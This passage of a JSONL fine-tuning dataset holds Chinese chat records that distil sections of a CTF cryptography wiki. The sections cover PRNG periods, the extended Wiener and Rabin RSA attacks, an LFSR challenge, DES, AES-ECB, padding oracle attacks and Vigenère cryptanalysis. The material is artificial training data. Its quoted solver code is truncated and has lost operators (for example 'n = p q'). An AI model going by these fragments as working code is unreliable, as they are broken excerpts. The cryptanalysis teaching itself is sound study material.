针对本题，在建表查表的过程中，有个小技巧是优先使用 std::unordered_map 而不是 std::map，性能会更好 (平均时间复杂度为 $O(1)$) 通过查找 std::accumulate 的文档，我们知道其 init 的类型决定了累加结果的类型。\n- } int main() { signal(SIGALRM, tle);\n- } } } } int main() { int n;\n- } ` 可以发现, 如算法竞赛题目一样给出题面和输入输出样例 ` Given the integers a_1, a_2, ..., a_N, your task is to find a subsequence b of a where b_1 + b_2 + ... + b_K = 0.\n- 其中，在本题中，我们需要解决 $20$ 个这样的背包问题，背包大小依次是 1 10~20 10。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- streamcipher\n- prng\n- problem.md\n- code:cpp\n\n代码/命令片段线索：\n- cpp: 131 行，首行 `#include `\n- plain: 8 行，首行 `Given the integers a_1, a_2, ..., a_N, your task is to find a subsequence b of a`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 5142, "chunk_count": 2, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2017 Tokyo Westerns CTF 3rd Backpacker's Problem", "heading_path": ["题目", "2017 Tokyo Westerns CTF 3rd Backpacker's Problem"], "original_id": "docs-a3530d0bd5e9f34b9828", "original_line": 437, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "source_root": "docs", "source_sha256": "e4aa4fdb1a1dff9b9d8b3195636825f83ad5c8aa8de090445bddb57d5391c978", "split": "train", "split_group_key": "f1c53275099f6d8619a8e452", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "streamcipher", "prng", "problem.md", "code:cpp"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-634a4240984fe0fa5a04", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/intro.md` 中的章节「周期」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/intro.md`\n标题：伪随机数生成器介绍\n章节：伪随机数生成器介绍 > 周期\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 但是，需要注意的是，并不是当我们遇到重复的输出时，就可以认为是 PRNG 的周期，因为 PRNG 的状态一般都是大于输出的位数的。\n- 正如我们之前所说，一旦 PRNG 所依赖的种子确定了，那么 PRNG 生成的随机数序列基本也就确定了。\n- 这里定义 PRNG 的周期如下：对于一个 PRNG 的所有可能起始状态，不重复序列的最长长度。\n- 显然，对于一个 PRNG 来说，其周期不会大于其所有可能的状态。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- prng\n- intro.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 199, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "周期", "heading_path": ["伪随机数生成器介绍", "周期"], "original_id": "docs-985f4c3ebb3f8377ccde", "original_line": 435, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "source_root": "docs", "source_sha256": "cf124d7991d281dbf03e0a8fa564025cfe481cee3764816066f932a89c584180", "split": "train", "split_group_key": "d153f57e96d90f19c950c269", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "crypto", "streamcipher", "prng", "intro.md"], "title": "伪随机数生成器介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-640505eab87cf700d73e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 分析\n路径分类：crypto / crypto/asymmetric/rsa\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- W(6)G(1, 7)G(3, 8) W(3)W(4)W(5)W(6)G(1, 7)G(2, 8) W(1)W(2)W(3)W(4)W(5)W(6)G(7, 8) W(1)W(2)W(3)W(4)W(5)W(7)G(6, 8) W(1)W(2)W(3)W(4)W(6)W(7)G(5, 8) W(1)W(2)W(3)W(5)W(6)W(7)G(4, 8) W(1)W(2)W(4)W(5)W(6)W(7)G(3, 8) W(1)W(3)W(4)W(5)W(6)W(7)G(2, 8) W(2)W(3)W(4)W(5...\n- $$ \\left(\\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr} 1 & -N & 0 & N^{2} & 0 & 0 & 0 & -N^{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{5} & 0 & 0 & 0 & 0 & 0 & 0...\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 29630, "chunk_count": 3, "chunk_index": 2, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["扩展维纳攻击", "分析"], "original_id": "docs-a71d2a26da05bc560efb", "original_line": 299, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "5a98f77caacd7635f93b8ce7", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-64ad6c970630e75c721d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/fsr/lfsr.md` 中的章节「2018 CISCN 初赛 oldstreamgame」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/fsr/lfsr.md`\n标题：线性反馈移位寄存器 - LFSR\n章节：线性反馈移位寄存器 - LFSR > 2018 CISCN 初赛 oldstreamgame\n路径分类：crypto / crypto/streamcipher/fsr\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 CISCN 初赛 oldstreamgame”展开。\n- 第一种做法，程序输出的第 32 个比特是由程序输出的前 31 个比特和初始种子的第 1 个比特来决定的，因此我们可以知道初始种子的第一个比特，进而可以知道初始种子的第 2 个比特，依次类推。\n- =0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b10100100000010000000100010010100 f=open(\"key\",\"w\") for i in range(100): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out f.write(chr(tmp)) f.clos...\n- 而其实，我们只需要前 32 个比特就可以恢复初始状态了。\n- 还有一种做法是 TokyoWesterns 的，可以参考对应的文件夹的文件。\n- 简单看一下题目 ``shell flag = \"[FLAG_REDACTED]\" assert flag.startswith(\"[FLAG_PREFIX]\") assert flag.endswith(\"}\") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- fsr\n- lfsr.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 23 行，首行 `flag = \"[FLAG_REDACTED]\"`\n- python: 23 行，首行 `mask = 0b10100100000010000000100010010100`\n- shell: 2 行，首行 `➜ 2018-CISCN-start-oldstreamgame git:(master) ✗ python exp1.py`\n- python: 23 行，首行 `mask = 0b10100100000010000000100010010100`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1959, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2018 CISCN 初赛 oldstreamgame", "heading_path": ["线性反馈移位寄存器 - LFSR", "2018 CISCN 初赛 oldstreamgame"], "original_id": "docs-b38c48144d2cf148d50c", "original_line": 427, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "source_root": "docs", "source_sha256": "e39355712e0a4051e131f623c61190326426eee636fb3cafd98b71aa37695627", "split": "train", "split_group_key": "7edc5a5bfdfba2c91da55472", "subcategory": "crypto/streamcipher/fsr", "terms": ["密码学", "crypto", "streamcipher", "fsr", "lfsr.md", "code:shell", "code:python"], "title": "线性反馈移位寄存器 - LFSR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-6548021da18fbd84ff50", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/des.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/des.md`\n标题：DES\n章节：DES > 基本介绍\n路径分类：crypto / crypto/blockcipher/des.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本介绍”展开。\n- Data Encryption Standard(DES)，数据加密标准，是典型的块加密，其基本信息如下 - 输入 64 位。\n- 密钥 64 位，使用 64 位密钥中的 56 位，剩余的 8 位要么丢弃，要么作为奇偶校验位。\n- Feistel 迭代结构 - 明文经过 16 轮迭代得到密文。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- des.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 183, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "基本介绍", "heading_path": ["DES", "基本介绍"], "original_id": "docs-d23ad8e15e135eb9d9d0", "original_line": 318, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "source_root": "docs", "source_sha256": "cbcf7f36c02c6bc816fe0df275a1c9dcf3dce505e33f2e1d5574f202caffa303", "split": "train", "split_group_key": "b6130eb9a96da1d72ad7648b", "subcategory": "crypto/blockcipher/des.md", "terms": ["密码学", "crypto", "blockcipher", "des.md"], "title": "DES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-65b77daad8ca7a1dc43e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「2018 Pwnhub LHY」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍 > 2018 Pwnhub LHY\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 Pwnhub LHY”展开。\n- 于是，对于下面的内容 `python p = gmpy.next_prime(x3 + y3) q = gmpy.next_prime(x2 y + y2 x) n = p q phi = (p - 1) (q - 1) d = gmpy.invert(0x10001, phi) enc = pow(bytes_to_long(flag), 0x10001, n) print 'n =', n print 'enc =', enc ` $p$ 和 $q$ 自然为 $p=next\\_prime(9y^3)$ $...\n- 那么 $n \\geq 54y^6$ 所以我们知道了 $y$ 的上界，而对于 $y$ 的下界其实也不会离上界太远，我们大概减个几十万。\n- = 1: mid = gmpy2.next_prime(mid) p = gmpy2.next_prime(9 mid3) q = gmpy2.next_prime(6 mid*3) n1 = p q if n1 == n: print p, q phin = (p - 1) * (q - 1) d = gmpy2.invert(0x10001, phin) m = gmpy2.powmod(enc, d, n) print hex(m)[2:].strip('L').decode('hex') print...\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n- code:python\n\n代码/命令片段线索：\n- python: 3 行，首行 `assert gmpy.is_prime(y)**2016 + gmpy.is_prime(x + 1)**2017 + (`\n- python: 8 行，首行 `p = gmpy.next_prime(x**3 + y**3)`\n- python: 31 行，首行 `tmp = 300975572981974178000491826689522266019546451696338914634011177602453670826441523555640144380954219621501098954...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4614, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2018 Pwnhub LHY", "heading_path": ["RSA 介绍", "2018 Pwnhub LHY"], "original_id": "docs-29a9c76c052a1251fb01", "original_line": 286, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "3109984b0edc2e5208b3b3a2", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-theory.md", "code:python"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-664ec65061dd74e929e9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/ecb.md` 中的章节「2016 ABCTF aes-mess-75」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/ecb.md`\n标题：ECB\n章节：ECB > 2016 ABCTF aes-mess-75\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2016 ABCTF aes-mess-75”展开。\n- ` 可以看出，这个加密是一个 ECB 加密，然后 AES 是 16 个字节一组，每个字节可以使用两个 16 进制字符表示，因此，我们每 32 个字符一组进行分组，然后去对应的 txt 文件中搜索即可。\n- Luckily we encrypted a bunch of other flags with the same key.\n- 题目描述如下 `` We encrypted a flag with AES-ECB encryption using a secret key, and got the hash: e220eb994c8fc16388dbd60a969d4953f042fc0bce25dbef573cf522636a1ba3fafa1a7c21ff824a5824c5dc4a376e75 However, we lost our plaintext flag and also lost our key and we can...\n- 对应 flag ` e220eb994c8fc16388dbd60a969d4953 abctf{looks_like f042fc0bce25dbef573cf522636a1ba3 _you_can_break_a fafa1a7c21ff824a5824c5dc4a376e75 es} `` 最后一个显然在加密时进行了 padding。\n- Can you recover the lost flag using this?\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- blockcipher\n- mode\n- ecb.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `We encrypted a flag with AES-ECB encryption using a secret key, and got the hash: e220eb994c8fc16388dbd60a969d4953f04...`\n- plain: 3 行，首行 `e220eb994c8fc16388dbd60a969d4953 abctf{looks_like`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 742, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2016 ABCTF aes-mess-75", "heading_path": ["ECB", "2016 ABCTF aes-mess-75"], "original_id": "docs-6233b26da798b86d2e41", "original_line": 337, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ecb.md", "source_root": "docs", "source_sha256": "762feff3c2a6ab81a0235fb868debed9ebe3ba2ca84c3c951983820282bcd129", "split": "train", "split_group_key": "b2cdbd0a059c49c9a6f5d75a", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "AI安全", "crypto", "blockcipher", "mode", "ecb.md"], "title": "ECB"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ecb.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-68a3b27dcd0eeb064321", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 原理\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- Padding Oracle Attack 攻击的基本原理如下 - 对于很长的消息一块一块解密。\n- 所以，综上所示，Padding Oracle Attack 其实在一定程度上是一种具有很大概率成功的攻击方法。\n- 然而，需要注意的是，往往遇到的一些现实问题并不是标准的 Padding Oracle Attack 模式，我们往往需要进行一些变形。\n- 这是因为若我们构造密文 F'|Y ，那么解密 $Y$ 时具体为 $P'=D_K(Y)\\oplus F'$ ，所以修改密文块 $F'$ 的最后一个字节 $F'_{n}$ 可以修改 Y 对应解密明文 $P'$ 的最后一个字节 $P'_n$ ，进而反推出原先的明文 $P$ 的最后一个字节。\n- 当获取了 $P$ 的最后一个字节后，我们可以继续获取 $P$ 的倒数第二个字节，此时需要设置 $F'_n=D_k(Y)_n\\oplus 0x02$ ，同时设置 $F_{n-1}=i \\oplus 0x02$ 去枚举 i。\n- 为了获取 $Y$ 解密后的内容，我们首先需要伪造一块密文块 $F'$ 以便于可以修改 $Y$ 对应解密明文的最后一个字节。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1330, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["Padding Oracle Attack", "原理"], "original_id": "docs-571fe90a451ab6339dab", "original_line": 19, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "d0bd01699cc5b1ad9b639c35", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-68ba6cd39173d1bb04fa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「破解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Vigenere 维吉尼亚密码 > 破解\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“破解”展开。\n- 对包括维吉尼亚密码在内的所有多表密码的破译都是以字母频率为基础的，但直接的频率分析却并不适用，这是因为在维吉尼亚密码中，一个字母可以被加密成不同的密文，因而简单的频率分析在这里并没有用。\n- 如果我们知道了密钥的长度，那密文就可以被看作是交织在一起的凯撒密码，而其中每一个都可以单独破解。\n- 可以参考http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher/。\n- 关于密码的长度，我们可以 使用卡西斯基试验和弗里德曼试验来获取。\n- 例如，明文中不同的 CRYPTO 可能被密钥 ABCDEF 加密成不同的密文： `` 密钥：ABCDEF AB CDEFA BCD EFABCDEFABCD 明文：CRYPTO IS SHORT FOR CRYPTOGRAPHY 密文：CSASXT IT UKSWT GQU GWYQVRKWAQJB ` 此时明文中重复的元素在密文中并不重复。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- polyalphabetic.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `密钥：ABCDEF AB CDEFA BCD EFABCDEFABCD`\n- plain: 3 行，首行 `密钥：ABCDAB CD ABCDA BCD ABCDABCDABCD`\n- plain: 1 行，首行 `密文：DYDUXRMHTVDVNQDQNWDYDUXRMHARTJGWNQD`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 978, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "破解", "heading_path": ["多表代换加密", "Vigenere 维吉尼亚密码", "破解"], "original_id": "docs-d712fddfbdd0ce67ab62", "original_line": 379, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "8d98c13b608f70939bfec307", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-68d154bc5b2ee9678034", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「工具」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > AutokeyCipher > 工具\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“工具”展开。\n- 已知关键词 - Python 的 pycipher 库 - 未知关键词 - http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/ - tools 文件夹下 break_autokey.py，待完成。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- polyalphabetic.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 183, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "工具", "heading_path": ["多表代换加密", "AutokeyCipher", "工具"], "original_id": "docs-3ab3d40c17dc16f57ff0", "original_line": 385, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "b983fd15b0e84ad224391f5e", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-6c91ecd87bdca6f4fad1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_e_attack.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_e_attack.md`\n标题：公钥指数相关攻击\n章节：coding=utf-8 > RSA 衍生算法——Rabin 算法 > 例子\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 首先我们先分解一下 p 和 q，得到 `text p=275127860351348928173285174381581152299 q=319576316814478949870590164193048041239 ` 编写代码 ``python #!\n- 这里我们以 XMan 一期夏令营课堂练习（Jarvis OJ 有复现）为例，读一下公钥。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-e-attack.md\n- code:bash\n- code:text\n\n代码/命令片段线索：\n- bash: 13 行，首行 `➜ Jarvis OJ-hard RSA git:(master) ✗ openssl rsa -pubin -in pubkey.pem -text -modulus`\n- text: 2 行，首行 `p=275127860351348928173285174381581152299`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 688, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "例子", "heading_path": ["coding=utf-8", "RSA 衍生算法——Rabin 算法", "例子"], "original_id": "docs-94e85d22ce6ad8cb1ea5", "original_line": 263, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "source_root": "docs", "source_sha256": "a3d814d7714e3247d02eef8fcc9670e09cc807aee257b5c82d9b3727c831cff4", "split": "train", "split_group_key": "9e9910b9a8b30a8143295efc", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-e-attack.md", "code:bash", "code:text"], "title": "公钥指数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "split": "train", "type": "ctf_lora_sft"}
